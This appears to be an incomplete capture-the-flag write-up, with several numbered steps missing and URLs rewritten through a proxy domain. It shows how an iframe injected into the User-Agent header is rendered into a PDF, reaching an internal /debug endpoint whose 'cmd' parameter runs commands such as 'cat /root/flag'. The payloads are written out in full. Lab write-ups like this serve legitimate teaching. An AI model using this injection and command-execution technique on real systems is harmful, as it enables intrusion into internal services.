Writeup
Writeup
6.
15.
16. As you can see there are some interesting directories like /debug and /admin
17. When we visit /debug , we get the following response.
{
"success":false,
"error":"This endpoint only allows traffic from 127.0.0.1:3000"
}
34. Now, let's try requesting http://127.0.0.1:3000/debug using an iframe tag. (There is a
hint for this at http://1337shop.com/debug)
35. We can use the payload -> <iframe src="http://127.0.0.1:3000/debug"> in the User-
Agent header in the login request.
36. Now, request the PDF document again.
{
"success":false,
"error":"Missing 'cmd' parameter"
}
38. Now use the cmd parameter in the http://127.0.0.1:3000/debug to get RCE in the system
39. We can read the final flag by using <iframe src="http://127.0.0.1:3000/debug?
cmd=cat%20/root/flag">
Thanks!